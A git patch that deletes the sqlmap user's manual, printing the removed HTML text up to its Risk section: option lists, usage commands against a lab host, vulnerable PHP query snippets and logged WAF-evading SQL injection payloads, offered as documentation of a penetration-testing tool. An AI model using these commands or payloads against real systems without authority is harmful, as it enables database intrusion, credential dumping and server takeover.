From 9b174e40417bc620708af6db05775e5fdc25055e Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Sun, 15 Jul 2012 02:29:55 +0100 Subject: [PATCH] started to update the documentation: it is now wikified on https://github.com/sqlmapproject/sqlmap/wiki/_pages and converted to standalone PDF with pandoc - issue #44 --- doc/README.html | 3203 --------------------------------------------- doc/README.pdf | Bin 399197 -> 557938 bytes doc/README.sgml | 3342 ----------------------------------------------- 3 files changed, 6545 deletions(-) delete mode 100644 doc/README.html delete mode 100644 doc/README.sgml diff --git a/doc/README.html b/doc/README.html deleted file mode 100644 index 5dc5ab59e..000000000 --- a/doc/README.html +++ /dev/null @@ -1,3203 +0,0 @@ - - - - - sqlmap user's manual - - -

sqlmap user's manual

- -

by -Bernardo Damele A. G., -Miroslav Stampar

version 1.0-dev, XXX XX, 2012 -
-This document is the user's manual for -sqlmap. -
-

-

1. Introduction

- - -

-

2. Features

- - -

-

3. History

- - -

-

4. Download and update

- -

-

5. Usage

- - -

-

6. License and copyright

- -

-

7. Disclaimer

- -

-

8. Authors

- - -
-

1. Introduction

- -

sqlmap is an open source penetration testing tool that automates the -process of detecting and exploiting SQL injection flaws and taking over of -database servers. It comes with a powerful detection engine, many niche -features for the ultimate penetration tester and a broad range of switches -lasting from database fingerprinting, over data fetching from the -database, to accessing the underlying file system and executing commands -on the operating system via out-of-band connections.

- - -

1.1 Requirements -

- -

sqlmap is developed in -Python, -a dynamic, object-oriented, interpreted programming language freely available from -http://python.org/download/. -This makes sqlmap a cross-platform application which is independant of the -operating system. sqlmap requires Python version 2.6 or above. -To make it even easier, many GNU/Linux distributions come out of the box -with Python installed. Other Unixes and Mac OSX also provide Python packaged -and ready to be installed. -Windows users can download and install the Python installer for x86, AMD64 and Itanium.

-

sqlmap relies on the -Metasploit Framework for some of its post-exploitation takeover -features. You need to grab a copy of the framework from the -download -page - the required version is 3.5 or higher. -For the ICMP tunneling out-of-band takeover technique, sqlmap requires the -Impacket library too.

-

If you are willing to connect directly to a database server (-d switch), -without passing through the web application, you need to install Python bindings -for the database management system that you are going to attack:

-

-

-

-

If you plan to attack a web application behind NTLM authentication or use -the sqlmap update functionality (--update switch) you need to -install respectively -python-ntlm and -python-svn libraries respectively.

-

Optionally, if you are running sqlmap on Windows, you may wish to install the -PyReadline -library in order to take advantage of the sqlmap TAB completion and -history support features in the SQL shell and OS shell. -Note that these functionalities are available natively via the standard Python -readline -library on other operating systems.

-

You can also choose to install the -Psyco library to eventually speed up the sqlmap algorithmic -operations.

- - -

1.2 Scenario -

- -

Detect and exploit a SQL injection

- -

Let's say that you are auditing a web application and found a web page -that accepts dynamic user-provided values via GET, POST -or Cookie parameters or via the HTTP User-Agent -request header. -You now want to test if these are affected by a SQL injection -vulnerability, and if so, exploit them to retrieve as much information as -possible from the back-end database management system, or even be able to -access the underlying file system and operating system.

-

In a simple world, consider that the target url is:

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 -
-

-

Assume that:

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1 -
-

-

is the same page as the original one and (the condition evaluates to True):

-

-

-http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2 -
-

-

differs from the original one (the condition evaluates to False). -This likely means that you are in front of a SQL -injection vulnerability in the id GET parameter of the -index.php page. Additionally, no sanitisation of user's supplied -input is taking place before the SQL statement is sent to the -back-end database management system.

-

This is quite a common flaw in dynamic content web applications and it -does not depend upon the back-end database management system nor on the web -application programming language; it is a flaw within the application code. -The -Open Web Application Security Project -rated this class of vulnerability as the -most common and serious web application vulnerability in their -Top Ten list from 2010.

-

Now that you have found the vulnerable parameter, you can exploit it by -manipulating the id parameter value in the HTTP request.

-

Back to the scenario, we can make an educated guess about the probable -syntax of the SQL SELECT statement where the user supplied value is -being used in the get_int.php web page. In pseudo PHP code:

-

-

-$query = "SELECT [column(s) name] FROM [table name] WHERE id=" . $_REQUEST['id']; -
-

-

As you can see, appending a syntactically valid SQL statement that will -evaluate to a True condition after the value for the id -parameter (such as id=1 AND 1=1) will result in the web application -returning the same web page as in the original request (where no SQL -statement is added). -This is because the back-end database management system has evaluated the -injected SQL statement. -The previous example describes a simple boolean-based blind SQL injection -vulnerability. -However, sqlmap is able to detect any type of SQL injection flaw and adapt -its work-flow accordingly.

-

In this simple scenario it would also be possible to append, not just one or -more valid SQL conditions, but also (depending on the DBMS) stacked SQL -queries. For instance: [...]&id=1;ANOTHER SQL QUERY#.

-

sqlmap can automate the process of identifying and exploiting this type of -vulnerability. -Passing the original address, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 -to sqlmap, the tool will automatically:

-

-

- -...and depending on supplied options, it will enumerate data or takeover the -database server entirely.

-

There exist many -resources -on the web explaining in depth how to detect, exploit and prevent SQL -injection vulnerabilities in web applications. It is recommendeded that you read -them before going much further with sqlmap.

- -

Direct connection to the database management system

- -

Up until sqlmap version 0.8, the tool has been yet another -SQL injection tool, used by web application penetration testers/newbies/curious -teens/computer addicted/punks and so on. Things move on -and as they evolve, we do as well. Now it supports this new switch, --d, that allows you to connect from your machine to the database -server's TCP port where the database management system daemon is listening -on and perform any operation you would do while using it to attack a -database via a SQL injection vulnerability.

- - -

1.3 Techniques -

- -

sqlmap is able to detect and exploit five different SQL injection -types:

-

-

-

- - -

1.4 Demo -

- -

You can watch several demo videos, they are hosted on -YouTube.

- - -

2. Features

- -

Features implemented in sqlmap include:

- - -

2.1 Generic features -

- -

-

-

- - -

2.2 Fingerprint and enumeration features -

- -

-

-

- - -

2.3 Takeover features -

- -

Some of these techniques are detailed in the white paper -Advanced SQL injection to operating system full control and in the -slide deck -Expanding the control over the operating system from the database.

-

-

-

- - -

3. History

- -

3.1 2011 -

- -

-

-

- -

3.2 2010 -

- -

-

-

- -

3.3 2009 -

- -

-

-

- -

3.4 2008 -

- -

-

-

- -

3.5 2007 -

- -

-

-

- -

3.6 2006 -

- -

-

-

- - -

4. Download and update

- -

sqlmap can be downloaded from its -SourceForge File List page. -It is available in two formats:

-

-

-

- -

You can also checkout the latest development version from the -git -repository:

-

-

-
-$ git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
-
-
-

- -

You can update it at any time to the latest development version by running:

-

-

-
-$ python sqlmap.py --update
-
-
-

-

Or:

-

-

-
-$ git pull
-
-
-

- -

This is strongly recommended before reporting any bug to the -mailing list.

- - -

5. Usage

- -

-

-
-$ python sqlmap.py -h
-
-    sqlmap/1.0 - automatic SQL injection and database takeover tool
-    http://www.sqlmap.org
-
-Usage: python sqlmap.py [options]
-
-Options:
-  --version             show program's version number and exit
-  -h, --help            show this help message and exit
-  -v VERBOSE            Verbosity level: 0-6 (default 1)
-
-  Target:
-    At least one of these options has to be specified to set the source to
-    get target urls from.
-
-    -d DIRECT           Direct connection to the database
-    -u URL, --url=URL   Target url
-    -l LIST             Parse targets from Burp or WebScarab proxy logs
-    -r REQUESTFILE      Load HTTP request from a file
-    -g GOOGLEDORK       Process Google dork results as target urls
-    -c CONFIGFILE       Load options from a configuration INI file
-
-  Request:
-    These options can be used to specify how to connect to the target url.
-
-    --data=DATA         Data string to be sent through POST
-    --cookie=COOKIE     HTTP Cookie header
-    --cookie-urlencode  URL Encode generated cookie injections
-    --drop-set-cookie   Ignore Set-Cookie header from response
-    --user-agent=AGENT  HTTP User-Agent header
-    --random-agent      Use randomly selected HTTP User-Agent header
-    --referer=REFERER   HTTP Referer header
-    --headers=HEADERS   Extra HTTP headers newline separated
-    --auth-type=ATYPE   HTTP authentication type (Basic, Digest or NTLM)
-    --auth-cred=ACRED   HTTP authentication credentials (name:password)
-    --auth-cert=ACERT   HTTP authentication certificate (key_file,cert_file)
-    --proxy=PROXY       Use a HTTP proxy to connect to the target url
-    --proxy-cred=PCRED  HTTP proxy authentication credentials (name:password)
-    --ignore-proxy      Ignore system default HTTP proxy
-    --delay=DELAY       Delay in seconds between each HTTP request
-    --timeout=TIMEOUT   Seconds to wait before timeout connection (default 30)
-    --retries=RETRIES   Retries when the connection timeouts (default 3)
-    --scope=SCOPE       Regexp to filter targets from provided proxy log
-    --safe-url=SAFURL   Url address to visit frequently during testing
-    --safe-freq=SAFREQ  Test requests between two visits to a given safe url
-
-  Optimization:
-    These options can be used to optimize the performance of sqlmap.
-
-    -o                  Turn on all optimization switches
-    --predict-output    Predict common queries output
-    --keep-alive        Use persistent HTTP(s) connections
-    --null-connection   Retrieve page length without actual HTTP response body
-    --threads=THREADS   Max number of concurrent HTTP(s) requests (default 1)
-
-  Injection:
-    These options can be used to specify which parameters to test for,
-    provide custom injection payloads and optional tampering scripts.
-
-    -p TESTPARAMETER    Testable parameter(s)
-    --dbms=DBMS         Force back-end DBMS to this value
-    --os=OS             Force back-end DBMS operating system to this value
-    --prefix=PREFIX     Injection payload prefix string
-    --suffix=SUFFIX     Injection payload suffix string
-    --tamper=TAMPER     Use given script(s) for tampering injection data
-
-  Detection:
-    These options can be used to specify how to parse and compare page
-    content from HTTP responses when using blind SQL injection technique.
-
-    --level=LEVEL       Level of tests to perform (1-5, default 1)
-    --risk=RISK         Risk of tests to perform (0-3, default 1)
-    --string=STRING     String to match in page when the query is valid
-    --regexp=REGEXP     Regexp to match in page when the query is valid
-    --text-only         Compare pages based only on the textual content
-
-  Techniques:
-    These options can be used to tweak testing of specific SQL injection
-    techniques.
-
-    --technique=TECH    SQL injection techniques to test for (default BEUST)
-    --time-sec=TIMESEC  Seconds to delay the DBMS response (default 5)
-    --union-cols=UCOLS  Range of columns to test for UNION query SQL injection
-    --union-char=UCHAR  Character to use for bruteforcing number of columns
-
-  Fingerprint:
-    -f, --fingerprint   Perform an extensive DBMS version fingerprint
-
-  Enumeration:
-    These options can be used to enumerate the back-end database
-    management system information, structure and data contained in the
-    tables. Moreover you can run your own SQL statements.
-
-    -b, --banner        Retrieve DBMS banner
-    --current-user      Retrieve DBMS current user
-    --current-db        Retrieve DBMS current database
-    --is-dba            Detect if the DBMS current user is DBA
-    --users             Enumerate DBMS users
-    --passwords         Enumerate DBMS users password hashes
-    --privileges        Enumerate DBMS users privileges
-    --roles             Enumerate DBMS users roles
-    --dbs               Enumerate DBMS databases
-    --tables            Enumerate DBMS database tables
-    --columns           Enumerate DBMS database table columns
-    --schema            Enumerate DBMS schema
-    --count             Retrieve number of entries for table(s)
-    --dump              Dump DBMS database table entries
-    --dump-all          Dump all DBMS databases tables entries
-    --search            Search column(s), table(s) and/or database name(s)
-    -D DB               DBMS database to enumerate
-    -T TBL              DBMS database table to enumerate
-    -C COL              DBMS database table column to enumerate
-    -U USER             DBMS user to enumerate
-    --exclude-sysdbs    Exclude DBMS system databases when enumerating tables
-    --start=LIMITSTART  First query output entry to retrieve
-    --stop=LIMITSTOP    Last query output entry to retrieve
-    --first=FIRSTCHAR   First query output word character to retrieve
-    --last=LASTCHAR     Last query output word character to retrieve
-    --sql-query=QUERY   SQL statement to be executed
-    --sql-shell         Prompt for an interactive SQL shell
-
-  Brute force:
-    These options can be used to run brute force checks.
-
-    --common-tables     Check existence of common tables
-    --common-columns    Check existence of common columns
-
-  User-defined function injection:
-    These options can be used to create custom user-defined functions.
-
-    --udf-inject        Inject custom user-defined functions
-    --shared-lib=SHLIB  Local path of the shared library
-
-  File system access:
-    These options can be used to access the back-end database management
-    system underlying file system.
-
-    --file-read=RFILE   Read a file from the back-end DBMS file system
-    --file-write=WFILE  Write a local file on the back-end DBMS file system
-    --file-dest=DFILE   Back-end DBMS absolute filepath to write to
-
-  Operating system access:
-    These options can be used to access the back-end database management
-    system underlying operating system.
-
-    --os-cmd=OSCMD      Execute an operating system command
-    --os-shell          Prompt for an interactive operating system shell
-    --os-pwn            Prompt for an out-of-band shell, meterpreter or VNC
-    --os-smbrelay       One click prompt for an OOB shell, meterpreter or VNC
-    --os-bof            Stored procedure buffer overflow exploitation
-    --priv-esc          Database process' user privilege escalation
-    --msf-path=MSFPATH  Local path where Metasploit Framework is installed
-    --tmp-path=TMPPATH  Remote absolute path of temporary files directory
-
-  Windows registry access:
-    These options can be used to access the back-end database management
-    system Windows registry.
-
-    --reg-read          Read a Windows registry key value
-    --reg-add           Write a Windows registry key value data
-    --reg-del           Delete a Windows registry key value
-    --reg-key=REGKEY    Windows registry key
-    --reg-value=REGVAL  Windows registry key value
-    --reg-data=REGDATA  Windows registry key value data
-    --reg-type=REGTYPE  Windows registry key value type
-
-  General:
-    These options can be used to set some general working parameters.
-
-    -t TRAFFICFILE      Log all HTTP traffic into a textual file
-    -s SESSIONFILE      Save and resume all data retrieved on a session file
-    --flush-session     Flush session file for current target
-    --fresh-queries     Ignores query results stored in session file
-    --eta               Display for each output the estimated time of arrival
-    --update            Update sqlmap
-    --save              Save options on a configuration INI file
-    --batch             Never ask for user input, use the default behaviour
-
-  Miscellaneous:
-    --beep              Alert when sql injection found
-    --check-payload     IDS detection testing of injection payloads
-    --cleanup           Clean up the DBMS by sqlmap specific UDF and tables
-    --forms             Parse and test forms on target url
-    --gpage=GOOGLEPAGE  Use Google dork results from specified page number
-    --mobile            Imitate smartphone through HTTP User-Agent header
-    --page-rank         Display page rank (PR) for Google dork results
-    --parse-errors      Parse DBMS error messages from response pages
-    --replicate         Replicate dumped data into a sqlite3 database
-    --tor               Use default Tor (Vidalia/Privoxy/Polipo) proxy address
-    --wizard            Simple wizard interface for beginner users
-
-
-

- - -

5.1 Output verbosity -

- -

Switch: -v

- -

This switch can be used to set the verbosity level of output messages. -There exist seven levels of verbosity. -The default level is 1 in which information, warning, error and -critical messages and Python tracebacks (if any occur) will be displayed.

-

-

-

- -

A reasonable level of verbosity to further understand what sqlmap does -under the hood is level 2, primarily for the detection phase and -the take-over functionalities. Whereas if you want to see the SQL payloads -the tools sends, level 3 is your best choice. -In order to further debug potential bugs or unexpected behaviours, we -recommend you to set the verbosity to level 4 or above. This -level is recommended to be used when you feed the developers with a bug -report too.

- - -

5.2 Target -

- -

At least one of these options has to be provided.

- -

Target URL

- -

Switch: -u or --url

- -

Run sqlmap against a single target URL. This switch requires an argument -which is the target URL in the form http(s)://targeturl[:port]/[...].

- -

Parse targets from Burp or WebScarab proxy logs

- -

Switch: -l

- -

Rather than providing a single target URL, it is possible to test and -inject against HTTP requests proxied through -Burp proxy or -WebScarab proxy This switch requires an argument which is the -proxy's HTTP requests log file.

- -

Load HTTP request from a file

- -

Switch: -r

- -

One of the possibilities of sqlmap is loading of complete HTTP request -from a textual file. That way you can skip usage of bunch of other -options (e.g. setting of cookies, POSTed data, etc).

- -

Sample content of a HTTP request file provided as argument to this switch:

-

-

-
-POST /sqlmap/mysql/post_int.php HTTP/1.1
-Host: 192.168.136.131
-User-Agent: Mozilla/4.0
-
-id=1
-
-
-

- -

Process Google dork results as target addresses

- -

Switch: -g

- -

It is also possible to test and inject on GET parameters on the -results of your Google dork.

- -

This option makes sqlmap negotiate with the search engine its session -cookie to be able to perform a search, then sqlmap will retrieve Google -first 100 results for the Google dork expression with GET -parameters asking you if you want to test and inject on each possible -affected URL.

- -

Load options from a configuration INI file

- -

Switch: -c

- -

It is possible to pass user's options from a configuration INI file, an -example is sqlmap.conf.

- -

Note that if you also provide other options from command line, those are -evaluated when running sqlmap and overwrite those provided in the -configuration file.

- - -

5.3 Request -

- -

These options can be used to specify how to connect to the target url.

- -

HTTP data

- -

Option: --data

- -

By default the HTTP method used to perform HTTP requests is GET, -but you can implicitly change it to POST by providing the data to -be sent in the POST requests. Such data, being those parameters, -are tested for SQL injection as well as any provided GET -parameters.

- - -

HTTP Cookie header

- -

Switches: --cookie, --drop-set-cookie -and --cookie-urlencode

- -

This feature can be useful in two ways:

-

-

-

- -

Either reason brings you to need to send cookies with sqlmap requests, the -steps to go through are the following:

-

-

-

- -

Note that the HTTP Cookie header values are usually separated by -a ; character, not by an &. sqlmap can -recognize these as separate sets of parameter=value too, as well -as GET and POST parameters.

- -

If at any time during the communication, the web application responds with -Set-Cookie headers, sqlmap will automatically use its value in -all further HTTP requests as the Cookie header. sqlmap will also -automatically test those values for SQL injection. This can be avoided by -providing the switch --drop-set-cookie - sqlmap will -ignore any coming Set-Cookie header.

- -

Vice versa, if you provide a HTTP Cookie header with ---cookie switch and the target URL sends an HTTP -Set-Cookie header at any time, sqlmap will ask you which set of -cookies to use for the following HTTP requests.

- -

sqlmap by default does not URL-encode generated cookie payloads, -but you can force it by using the --cookie-urlencode -switch. Cookie content encoding is not declared by HTTP protocol standard -in any way, so it is solely the matter of web application's behaviour.

- -

Note that also the HTTP Cookie header is tested against SQL -injection if the --level is set to 2 or above. -Read below for details.

- - -

HTTP User-Agent header

- -

Switches: --user-agent and --random-agent

- -

By default sqlmap performs HTTP requests with the following User-Agent -header value:

-

-

-
-sqlmap/0.9 (http://www.sqlmap.org)
-
-
-

- -

However, it is possible to fake it with the --user-agent -switch by providing custom User-Agent as the switch argument.

- -

Moreover, by providing the --random-agent switch, sqlmap -will randomly select a User-Agent from the ./txt/user-agents.txt -textual file and use it for all HTTP requests within the session.

- -

Some sites perform a server-side check on the HTTP User-Agent -header value and fail the HTTP response if a valid User-Agent is -not provided, its value is not expected or is blacklisted by a web -application firewall or similar intrusion prevention system. In this case -sqlmap will show you a message as follows:

-

-

-
-[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to 
-force the HTTP User-Agent header with option --user-agent or --random-agent
-
-
-

- -

Note that also the HTTP User-Agent header is tested against SQL -injection if the --level is set to 3 or above. -Read below for details.

- - -

HTTP Referer header

- -

Switch: --referer

- -

It is possible to fake the HTTP Referer header value. By default -no HTTP Referer header is sent in HTTP requests if not -explicitly set.

- -

Note that also the HTTP Referer header is tested against SQL -injection if the --level is set to 3 or above. -Read below for details.

- - -

Extra HTTP headers

- -

Switch: --headers

- -

It is possible to provide extra HTTP headers by setting the ---headers switch. Each header must be separated by a -newline and it is much easier to provide them from the configuration INI -file. Have a look at the sample sqlmap.conf file for an example.

- - -

HTTP protocol authentication

- -

Switches: --auth-type and --auth-cred

- -

These options can be used to specify which HTTP protocol authentication -the web server implements and the valid credentials to be used to perform -all HTTP requests to the target application.

-

The three supported HTTP protocol authentication mechanisms are:

-

-

-

-

While the credentials' syntax is username:password.

- -

Example of valid syntax:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" \
-  --auth-type Basic --auth-cred "testuser:testpass"
-
-
-

- - -

HTTP protocol certificate authentication

- -

Switch: --auth-cert

- -

This switch should be used in cases when the web server requires proper -client-side certificate for authentication. Supplied values should be in -the form: key_file,cert_file, where key_file should be -the name of a PEM formatted file that contains your private key, while -cert_file should be the name for a PEM formatted certificate -chain file.

- - -

HTTP(S) proxy

- -

Switches: --proxy, --proxy-cred, ---ignore-proxy and --tor

- -

It is possible to provide an HTTP(S) proxy address to pass by the HTTP(S) -requests to the target URL. The syntax of HTTP(S) proxy value is -http://url:port.

- -

If the HTTP(S) proxy requires authentication, you can provide the -credentials in the format username:password to the ---proxy-cred switch.

- -

If, for any reason, you need to stay anonymous, instead of passing by a -single predefined HTTP(S) proxy server, you can configure a -Tor client together with -Privoxy (or similar) on -your machine as explained on the Tor client guide and use the Privoxy -daemon, by default listening on 127.0.0.1:8118, as the sqlmap -proxy by simply providing the tool with the --tor -switch instead of --proxy.

- -

The switch --ignore-proxy should be used when you want -to run sqlmap against a target part of a local area network by ignoring -the system-wide set HTTP(S) proxy server setting.

- - -

Delay between each HTTP request

- -

Switch: --delay

- -

It is possible to specify a number of seconds to hold between each HTTP(S) -request. The valid value is a float, for instance 0.5 means half -a second. -By default, no delay is set.

- - -

Seconds to wait before timeout connection

- -

Switch: --timeout

- -

It is possible to specify a number of seconds to wait before considering -the HTTP(S) request timed out. The valid value is a float, for instance -10.5 means ten seconds and a half. -By default 30 seconds are set.

- - -

Maximum number of retries when the HTTP connection timeouts

- -

Switch: --retries

- -

It is possible to specify the maximum number of retries when the HTTP(S) -connection timeouts. By default it retries up to three times.

- - -

Filtering targets from provided proxy log using regular expression

- -

Switch: --scope

- -

Rather than using all hosts parsed from provided logs with switch --l, you can specify valid Python regular expression to be used -for filtering desired ones.

-

Example of valid syntax:

-

-

-
-$ python sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"
-
-
-

- - -

Avoid your session to be destroyed after too many unsuccessful requests

- -

Switches: --safe-url and --safe-freq

- -

Sometimes web applications or inspection technology in between destroys -the session if a certain number of unsuccessful requests is performed. -This might occur during the detection phase of sqlmap or when it exploits -any of the blind SQL injection types. Reason why is that the SQL payload -does not necessarily returns output and might therefore raise a signal to -either the application session management or the inspection technology.

- -

To bypass this limitation set by the target, you can provide two switches:

-

-

-

- -

This way, sqlmap will visit every a predefined number of requests a -certain safe URL without performing any kind of injection against -it.

- - -

5.4 Optimization -

- -

These switches can be used to optimize the performance of sqlmap.

- - -

Bundle optimization

- -

Switch: -o

- -

This switch is an alias that implicitly sets the following switches:

-

-

-

- -

Read below for details about each switch.

- - -

Output prediction

- -

Switch: --predict-output

- -

This switch is used in inference algorithm for sequential statistical -prediction of characters of value being retrieved. Statistical table with -the most promising character values is being built based on items given in -txt/common-outputs.txt combined with the knowledge of current -enumeration used. In case that the value can be found among the common -output values, as the process progresses, subsequent character tables are -being narrowed more and more. If used in combination with retrieval of -common DBMS entities, as with system table names and privileges, speed up -is significant. Of course, you can edit the common outputs file according -to your needs if, for instance, you notice common patterns in database -table names or similar.

- -

Note that this switch is not compatible with --threads -switch.

- - -

HTTP Keep-Alive

- -

Switch: --keep-alive

- -

This switch instructs sqlmap to use persistent HTTP(s) connections.

- -

Note that this switch is incompatible with --proxy -switch.

- - -

HTTP NULL connection

- -

Switch: --null-connection

- -

There are special HTTP request types which can be used to retrieve -HTTP response's size without getting the HTTP body. This knowledge can be -used in blind injection technique to distinguish True from -False responses. When this switch is provided, sqlmap will try to -test and exploit two different NULL connection techniques: -Range and HEAD. -If any of these is supported by the target web server, speed up will come -from the obvious saving of used bandwidth.

- -

These techniques are detailed in the white paper -Bursting Performances in Blind SQL Injection - Take 2 (Bandwidth).

- -

Note that this switch is incompatible with --text-only -switch.

- - -

Concurrent HTTP(S) requests

- -

Switch: --threads

- -

It is possible to specify the maximum number of concurrent HTTP(S) -requests that sqlmap is allowed to do. -This feature relies on the -multi-threading concept and inherits both its pro and its cons.

- -

This features applies to the brute-force switches and when the data -fetching is done through any of the blind SQL injection techniques. -For the latter case, sqlmap first calculates the length of the query -output in a single thread, then starts the multi-threading. Each thread is -assigned to retrieve one character of the query output. The thread ends -when that character is retrieved - it takes up to 7 HTTP(S) requests with -the bisection algorithm implemented in sqlmap.

- -

The maximum number of concurrent requests is set to 10 for -performance and site reliability reasons.

- -

Note that this switch is not compatible with ---predict-output switch.

- - -

5.5 Injection -

- -

These options can be used to specify which parameters to test for, provide -custom injection payloads and optional tampering scripts.

- -

Testable parameter(s)

- -

Switch: -p

- -

By default sqlmap tests all GET parameters and POST -parameters. When the value of --level is >= 2 -it tests also HTTP Cookie header values. When this value is >= -3 it tests also HTTP User-Agent and HTTP Referer -header value for SQL injections. -It is however possible to manually specify a comma-separated list of -parameter(s) that you want sqlmap to test. This will bypass the dependence -on the value of --level too.

- -

For instance, to test for GET parameter id and for HTTP -User-Agent only, provide -p id,user-agent.

- - -

URI injection point

- -

There are special cases when injection point is within the URI itself. -sqlmap does not perform any automatic test against URI paths, unless -manually pointed to. -You have to specify these injection points in the command line by -appending an asterisk (*) after each URI point that you want -sqlmap to test for and exploit a SQL injection.

- -

This is particularly useful when, for instance, Apache web server's -mod_rewrite module is in use or other similar technologies.

- -

An example of valid command line would be:

-

-

-
-$ python sqlmap.py -u "http://targeturl/param1/value1*/param2/value2/"
-
-
-

- - -

Force the database management system name

- -

Switch: --dbms

- -

By default sqlmap automatically detects the web application's back-end -database management system. -As of version 0.9, sqlmap fully supports the following database -management systems:

-

-

-

- -

If for any reason sqlmap fails to detect the back-end DBMS once a SQL -injection has been identified or if you want to avoid an active fingeprint, -you can provide the name of the back-end DBMS yourself (e.g. postgresql). -For MySQL and Microsoft SQL Server provide them respectively in the form -MySQL <version> and Microsoft SQL Server <version>, where <version> is a valid version for the DBMS; for -instance 5.0 for MySQL and 2005 for Microsoft SQL Server.

- -

In case you provide --fingerprint together with ---dbms, sqlmap will only perform the extensive -fingerprint for the specified database management system only, read below -for further details.

- -

Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system. If you do not know it, let sqlmap -automatically fingerprint it for you.

- - -

Force the database management system operating system name

- -

Switch: --os

- -

By default sqlmap automatically detects the web application's back-end -database management system underlying operating system when this -information is a dependence of any other provided switch. -At the moment the fully supported operating systems are two:

-

-

-

- -

It is possible to force the operating system name if you already know it -so that sqlmap will avoid doing it itself.

- -

Note that this option is not mandatory and it is strongly -recommended to use it only if you are absolutely sure about the -back-end database management system underlying operating system. If you do -not know it, let sqlmap automatically identify it for you.

- - -

Custom injection payload

- -

Switches: --prefix and --suffix

- -

In some circumstances the vulnerable parameter is exploitable only if the -user provides a specific suffix to be appended to the injection payload. -Another scenario where these options come handy presents itself when the -user already knows that query syntax and want to detect and exploit the -SQL injection by directly providing a injection payload prefix and suffix.

- -

Example of vulnerable source code:

-

-

-
-$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
-
-
-

- -

To detect and exploit this SQL injection, you can either let sqlmap detect -the boundaries (as in combination of SQL payload prefix and -suffix) for you during the detection phase, or provide them on your own. -For example:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" \
-  -p id --prefix "')" --suffix "AND ('abc'='abc"
-[...]
-
-
-

- -

This will result in all sqlmap requests to end up in a query as follows:

-

-

-
-$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
-
-
-

- -

Which makes the query syntactically correct.

- -

In this simple example, sqlmap could detect the SQL injection and exploit -it without need to provide custom boundaries, but sometimes in real world -application it is necessary to provide it when the injection point is -within nested JOIN queries for instance.

- - -

Tamper injection data

- -

Switch: --tamper

- -

sqlmap itself does no obfuscation of the payload sent, except for strings -between single quotes replaced by their CHAR()-alike -representation.

- -

This switch can be very useful and powerful in situations where there is -a weak input validation mechanism between you and the back-end database -management system. This mechanism usually is a self-developed input -validation routine called by the application source code, an expensive -enterprise-grade IPS appliance or a web application firewall (WAF). All -buzzwords to define the same concept, implemented in a different way and -costing lots of money, usually.

- -

To take advantage of this switch, provide sqlmap with a comma-separated -list of tamper scripts and this will process the payload and return it -transformed. You can define your own tamper scripts, use sqlmap ones from -the tamper/ folder or edit them as long as you concatenate them -comma-separated as the argument of --tamper switch.

- -

The format of a valid tamper script is as follows:

-

-

-
-# Needed imports
-from lib.core.enums import PRIORITY
-
-# Define which is the order of application of tamper scripts against the payload
-__priority__ = PRIORITY.NORMAL
-
-def tamper(payload):
-    '''
-    Description of your tamper script
-    '''
-
-    retVal = payload
-
-    # your code to tamper the original payload
-
-    # return the tampered payload
-    return retVal
-
-
-

- -

You can check valid and usable tamper scripts in the tamper/ -directory.

- -

Example against a MySQL target assuming that > character, -spaces and capital SELECT string are banned:

-

-

-
-$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper \
-  tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
-
-[hh:mm:03] [DEBUG] cleaning up configuration parameters
-[hh:mm:03] [INFO] loading tamper script 'between'
-[hh:mm:03] [INFO] loading tamper script 'randomcase'
-[hh:mm:03] [INFO] loading tamper script 'space2comment'
-[...]
-[hh:mm:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1)/**/And/**/1369=7706/**/And/**/(4092=4092
-[hh:mm:04] [PAYLOAD] 1)/**/AND/**/9267=9267/**/AND/**/(4057=4057
-[hh:mm:04] [PAYLOAD] 1/**/AnD/**/950=7041
-[...]
-[hh:mm:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
-[hh:mm:04] [PAYLOAD] 1/**/anD/**/(SELeCt/**/9921/**/fROm(SELeCt/**/counT(*),CONCAT(cHar(
-58,117,113,107,58),(SELeCt/**/(case/**/whEN/**/(9921=9921)/**/THeN/**/1/**/elsE/**/0/**/
-ENd)),cHar(58,106,104,104,58),FLOOR(RanD(0)*2))x/**/fROm/**/information_schema.tables/**/
-group/**/bY/**/x)a)
-[hh:mm:04] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING 
-clause' injectable 
-[...]
-
-
-

- - - -

5.6 Detection -

- -

These options can be used to specify how to parse and compare page -content from HTTP responses when using blind SQL injection technique.

- -

Level

- -

Switch: --level

- -

This switch requires an argument which specifies the level of tests to -perform. There are five levels. The default value is 1 -where limited number of tests (requests) are performed. Vice versa, level -5 will test verbosely for a much larger number of payloads and -boundaries (as in pair of SQL payload prefix and suffix). -The payloads used by sqlmap are specified in the textual file -xml/payloads.xml. Following the instructions on top of the file, -if sqlmap misses an injection, you should be able to add your own -payload(s) to test for too!

- -

Not only this switch affects which payload sqlmap tries, but also which -injection points are taken in exam: GET and POST parameters are -always tested, HTTP Cookie header values are tested from level -2 and HTTP User-Agent/Referer headers' value is tested from level -3.

- -

All in all, the harder it is to detect a SQL injection, the higher the ---level must be set.

- -

It is strongly recommended to higher this value before reporting to the -mailing list that sqlmap is not able to detect a certain injection point.

- - -

Risk

- -

Switch: --risk

- -

This switch requires an argument which specifies the risk of tests to -perform. There are four risk values. The default value is -1 which is innocuous for the majority of SQL injection points. -Risk value 2 adds to the default level the tests for heavy query -time-based SQL injections and value 3 adds also OR-based SQL -injection tests.

- -

